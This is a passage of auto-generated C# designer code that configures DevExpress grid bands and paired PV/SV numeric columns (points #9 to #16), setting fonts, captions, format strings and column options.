this.cgPoint9PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint9PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint9PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint9PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint9PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint9PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint9PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint9PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint9PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint9PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint9PvColumn.Visible = true;
this.cgPoint9PvColumn.Width = 68;
//
// cgPoint9SvColumn
//
this.cgPoint9SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint9SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint9SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint9SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint9SvColumn.Caption = "SV";
this.cgPoint9SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint9SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint9SvColumn.FieldName = "SV9";
this.cgPoint9SvColumn.Name = "cgPoint9SvColumn";
this.cgPoint9SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint9SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint9SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint9SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint9SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint9SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint9SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint9SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint9SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint9SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint9SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint9SvColumn.Visible = true;
this.cgPoint9SvColumn.Width = 68;
//
// cgPoint10Band
//
this.cgPoint10Band.Caption = "#10";
this.cgPoint10Band.Columns.Add(this.cgPoint10PvColumn);
this.cgPoint10Band.Columns.Add(this.cgPoint10SvColumn);
this.cgPoint10Band.Name = "cgPoint10Band";
this.cgPoint10Band.OptionsBand.AllowHotTrack = false;
this.cgPoint10Band.OptionsBand.AllowMove = false;
this.cgPoint10Band.VisibleIndex = 11;
this.cgPoint10Band.Width = 136;
//
// cgPoint10PvColumn
//
this.cgPoint10PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint10PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint10PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint10PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint10PvColumn.Caption = "PV";
this.cgPoint10PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint10PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint10PvColumn.FieldName = "PV10";
this.cgPoint10PvColumn.Name = "cgPoint10PvColumn";
this.cgPoint10PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint10PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint10PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint10PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint10PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint10PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint10PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint10PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint10PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint10PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint10PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint10PvColumn.Visible = true;
this.cgPoint10PvColumn.Width = 68;
//
// cgPoint10SvColumn
//
this.cgPoint10SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint10SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint10SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint10SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint10SvColumn.Caption = "SV";
this.cgPoint10SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint10SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint10SvColumn.FieldName = "SV10";
this.cgPoint10SvColumn.Name = "cgPoint10SvColumn";
this.cgPoint10SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint10SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint10SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint10SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint10SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint10SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint10SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint10SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint10SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint10SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint10SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint10SvColumn.Visible = true;
this.cgPoint10SvColumn.Width = 68;
//
// cgPoint11Band
//
this.cgPoint11Band.Caption = "#11";
this.cgPoint11Band.Columns.Add(this.cgPoint11PvColumn);
this.cgPoint11Band.Columns.Add(this.cgPoint11SvColumn);
this.cgPoint11Band.Name = "cgPoint11Band";
this.cgPoint11Band.OptionsBand.AllowHotTrack = false;
this.cgPoint11Band.OptionsBand.AllowMove = false;
this.cgPoint11Band.VisibleIndex = 12;
this.cgPoint11Band.Width = 136;
//
// cgPoint11PvColumn
//
this.cgPoint11PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint11PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint11PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint11PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint11PvColumn.Caption = "PV";
this.cgPoint11PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint11PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint11PvColumn.FieldName = "PV11";
this.cgPoint11PvColumn.Name = "cgPoint11PvColumn";
this.cgPoint11PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint11PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint11PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint11PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint11PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint11PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint11PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint11PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint11PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint11PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint11PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint11PvColumn.Visible = true;
this.cgPoint11PvColumn.Width = 68;
//
// cgPoint11SvColumn
//
this.cgPoint11SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint11SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint11SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint11SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint11SvColumn.Caption = "SV";
this.cgPoint11SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint11SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint11SvColumn.FieldName = "SV11";
this.cgPoint11SvColumn.Name = "cgPoint11SvColumn";
this.cgPoint11SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint11SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint11SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint11SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint11SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint11SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint11SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint11SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint11SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint11SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint11SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint11SvColumn.Visible = true;
this.cgPoint11SvColumn.Width = 68;
//
// cgPoint12Band
//
this.cgPoint12Band.Caption = "#12";
this.cgPoint12Band.Columns.Add(this.cgPoint12PvColumn);
this.cgPoint12Band.Columns.Add(this.cgPoint12SvColumn);
this.cgPoint12Band.Name = "cgPoint12Band";
this.cgPoint12Band.OptionsBand.AllowHotTrack = false;
this.cgPoint12Band.OptionsBand.AllowMove = false;
this.cgPoint12Band.VisibleIndex = 13;
this.cgPoint12Band.Width = 136;
//
// cgPoint12PvColumn
//
this.cgPoint12PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint12PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint12PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint12PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint12PvColumn.Caption = "PV";
this.cgPoint12PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint12PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint12PvColumn.FieldName = "PV12";
this.cgPoint12PvColumn.Name = "cgPoint12PvColumn";
this.cgPoint12PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint12PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint12PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint12PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint12PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint12PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint12PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint12PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint12PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint12PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint12PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint12PvColumn.Visible = true;
this.cgPoint12PvColumn.Width = 68;
//
// cgPoint12SvColumn
//
this.cgPoint12SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint12SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint12SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint12SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint12SvColumn.Caption = "SV";
this.cgPoint12SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint12SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint12SvColumn.FieldName = "SV12";
this.cgPoint12SvColumn.Name = "cgPoint12SvColumn";
this.cgPoint12SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint12SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint12SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint12SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint12SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint12SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint12SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint12SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint12SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint12SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint12SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint12SvColumn.Visible = true;
this.cgPoint12SvColumn.Width = 68;
//
// cgPoint13Band
//
this.cgPoint13Band.Caption = "#13";
this.cgPoint13Band.Columns.Add(this.cgPoint13PvColumn);
this.cgPoint13Band.Columns.Add(this.cgPoint13SvColumn);
this.cgPoint13Band.Name = "cgPoint13Band";
this.cgPoint13Band.OptionsBand.AllowHotTrack = false;
this.cgPoint13Band.OptionsBand.AllowMove = false;
this.cgPoint13Band.VisibleIndex = 14;
this.cgPoint13Band.Width = 136;
//
// cgPoint13PvColumn
//
this.cgPoint13PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint13PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint13PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint13PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint13PvColumn.Caption = "PV";
this.cgPoint13PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint13PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint13PvColumn.FieldName = "PV13";
this.cgPoint13PvColumn.Name = "cgPoint13PvColumn";
this.cgPoint13PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint13PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint13PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint13PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint13PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint13PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint13PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint13PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint13PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint13PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint13PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint13PvColumn.Visible = true;
this.cgPoint13PvColumn.Width = 68;
//
// cgPoint13SvColumn
//
this.cgPoint13SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint13SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint13SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint13SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint13SvColumn.Caption = "SV";
this.cgPoint13SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint13SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint13SvColumn.FieldName = "SV13";
this.cgPoint13SvColumn.Name = "cgPoint13SvColumn";
this.cgPoint13SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint13SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint13SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint13SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint13SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint13SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint13SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint13SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint13SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint13SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint13SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint13SvColumn.Visible = true;
this.cgPoint13SvColumn.Width = 68;
//
// cgPoint14Band
//
this.cgPoint14Band.Caption = "#14";
this.cgPoint14Band.Columns.Add(this.cgPoint14PvColumn);
this.cgPoint14Band.Columns.Add(this.cgPoint14SvColumn);
this.cgPoint14Band.Name = "cgPoint14Band";
this.cgPoint14Band.OptionsBand.AllowHotTrack = false;
this.cgPoint14Band.OptionsBand.AllowMove = false;
this.cgPoint14Band.VisibleIndex = 15;
this.cgPoint14Band.Width = 136;
//
// cgPoint14PvColumn
//
this.cgPoint14PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint14PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint14PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint14PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint14PvColumn.Caption = "PV";
this.cgPoint14PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint14PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint14PvColumn.FieldName = "PV14";
this.cgPoint14PvColumn.Name = "cgPoint14PvColumn";
this.cgPoint14PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint14PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint14PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint14PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint14PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint14PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint14PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint14PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint14PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint14PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint14PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint14PvColumn.Visible = true;
this.cgPoint14PvColumn.Width = 68;
//
// cgPoint14SvColumn
//
this.cgPoint14SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint14SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint14SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint14SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint14SvColumn.Caption = "SV";
this.cgPoint14SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint14SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint14SvColumn.FieldName = "SV14";
this.cgPoint14SvColumn.Name = "cgPoint14SvColumn";
this.cgPoint14SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint14SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint14SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint14SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint14SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint14SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint14SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint14SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint14SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint14SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint14SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint14SvColumn.Visible = true;
this.cgPoint14SvColumn.Width = 68;
//
// cgPoint15Band
//
this.cgPoint15Band.Caption = "#15";
this.cgPoint15Band.Columns.Add(this.cgPoint15PvColumn);
this.cgPoint15Band.Columns.Add(this.cgPoint15SvColumn);
this.cgPoint15Band.Name = "cgPoint15Band";
this.cgPoint15Band.OptionsBand.AllowHotTrack = false;
this.cgPoint15Band.OptionsBand.AllowMove = false;
this.cgPoint15Band.VisibleIndex = 16;
this.cgPoint15Band.Width = 136;
//
// cgPoint15PvColumn
//
this.cgPoint15PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint15PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint15PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint15PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint15PvColumn.Caption = "PV";
this.cgPoint15PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint15PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint15PvColumn.FieldName = "PV15";
this.cgPoint15PvColumn.Name = "cgPoint15PvColumn";
this.cgPoint15PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint15PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint15PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint15PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint15PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint15PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint15PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint15PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint15PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint15PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint15PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint15PvColumn.Visible = true;
this.cgPoint15PvColumn.Width = 68;
//
// cgPoint15SvColumn
//
this.cgPoint15SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint15SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint15SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint15SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint15SvColumn.Caption = "SV";
this.cgPoint15SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint15SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint15SvColumn.FieldName = "SV15";
this.cgPoint15SvColumn.Name = "cgPoint15SvColumn";
this.cgPoint15SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint15SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint15SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint15SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint15SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint15SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint15SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint15SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint15SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint15SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint15SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint15SvColumn.Visible = true;
this.cgPoint15SvColumn.Width = 68;
//
// cgPoint16Band
//
this.cgPoint16Band.Caption = "#16";
this.cgPoint16Band.Columns.Add(this.cgPoint16PvColumn);
this.cgPoint16Band.Columns.Add(this.cgPoint16SvColumn);
this.cgPoint16Band.Name = "cgPoint16Band";
this.cgPoint16Band.OptionsBand.AllowHotTrack = false;
this.cgPoint16Band.OptionsBand.AllowMove = false;
this.cgPoint16Band.VisibleIndex = 17;
this.cgPoint16Band.Width = 136;
//
// cgPoint16PvColumn
//
this.cgPoint16PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint16PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint16PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint16PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint16PvColumn.Caption = "PV";
this.cgPoint16PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint16PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint16PvColumn.FieldName = "PV16";
this.cgPoint16PvColumn.Name = "cgPoint16PvColumn";
this.cgPoint16PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint16PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint16PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint16PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint16PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint16PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint16PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint16PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint16PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint16PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint16PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint16PvColumn.Visible = true;
this.cgPoint16PvColumn.Width = 68;
//
// cgPoint16SvColumn
//
this.cgPoint16SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint16SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint16SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint16SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint16SvColumn.Caption = "SV";
this.cgPoint16SvColumn.DisplayFormat.FormatString = "f3";
